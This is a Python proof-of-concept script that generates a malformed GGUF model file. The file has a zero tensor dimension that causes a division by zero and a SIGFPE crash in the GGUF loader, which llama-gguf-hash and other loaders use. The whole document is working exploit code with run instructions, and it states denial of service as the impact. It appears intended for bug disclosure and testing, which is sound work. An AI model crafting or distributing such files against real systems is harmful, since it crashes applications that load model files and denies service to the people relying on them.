File size: 3,032 Bytes
526abd8 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 | """
PoC GGUF Generator -- Division by Zero in Tensor Validation
=============================================================
Crafts a GGUF file with a zero-valued dimension that triggers
INT64_MAX / 0 in gguf_init_from_file_impl()'s overflow check.
The code validates ne[j] < 0 (rejects negative) but NOT ne[j] == 0.
With n_dims >= 2 and ne[1] = 0: INT64_MAX / ne[1] = INT64_MAX / 0 -> SIGFPE.
Usage:
python craft_divzero_gguf.py # Generate divzero.gguf
python craft_divzero_gguf.py -o custom.gguf
Then test:
./llama-gguf-hash divzero.gguf
# Expected: Floating point exception (SIGFPE) / crash
"""
import argparse
import struct
GGUF_MAGIC = 0x46554747
GGUF_VERSION = 3
GGUF_DEFAULT_ALIGNMENT = 32
GGUF_TYPE_STRING = 8
GGML_TYPE_F32 = 0
def write_gguf_string(f, s):
encoded = s.encode("utf-8")
f.write(struct.pack("<Q", len(encoded)))
f.write(encoded)
def write_kv_string(f, key, value):
write_gguf_string(f, key)
f.write(struct.pack("<I", GGUF_TYPE_STRING))
write_gguf_string(f, value)
def pad_to_alignment(f, alignment):
pos = f.tell()
remainder = pos % alignment
if remainder != 0:
f.write(b"\x00" * (alignment - remainder))
def main():
parser = argparse.ArgumentParser(description="Craft GGUF with division-by-zero PoC")
parser.add_argument("-o", "--output", default="divzero.gguf", help="Output filename")
args = parser.parse_args()
print("Crafting GGUF with zero dimension to trigger INT64_MAX / 0...")
print(" n_dims = 2, ne[0] = 1, ne[1] = 0")
print(" Overflow check: INT64_MAX / ne[1] = INT64_MAX / 0 -> SIGFPE")
print()
with open(args.output, "wb") as f:
# Header
f.write(struct.pack("<I", GGUF_MAGIC))
f.write(struct.pack("<I", GGUF_VERSION))
f.write(struct.pack("<Q", 1)) # n_tensors = 1
f.write(struct.pack("<Q", 1)) # n_kv = 1
# Metadata: general.architecture (required)
write_kv_string(f, "general.architecture", "llama")
# Tensor info
write_gguf_string(f, "divzero_tensor")
f.write(struct.pack("<I", 2)) # n_dims = 2
f.write(struct.pack("<Q", 1)) # ne[0] = 1
f.write(struct.pack("<Q", 0)) # ne[1] = 0 <-- TRIGGERS DIV BY ZERO
f.write(struct.pack("<I", GGML_TYPE_F32)) # type = F32
f.write(struct.pack("<Q", 0)) # offset = 0
# Pad to alignment
pad_to_alignment(f, GGUF_DEFAULT_ALIGNMENT)
# Minimal tensor data
f.write(b"\x00" * 32)
print(f"Written: {args.output}")
print()
print("Test with:")
print(f" ./llama-gguf-hash {args.output}")
print(" # Expected: 'Floating point exception' (SIGFPE) or crash")
print()
print("Impact: Any application using gguf_init_from_file() to load this")
print("file will crash. Denial of Service via crafted model file.")
if __name__ == "__main__":
main()
|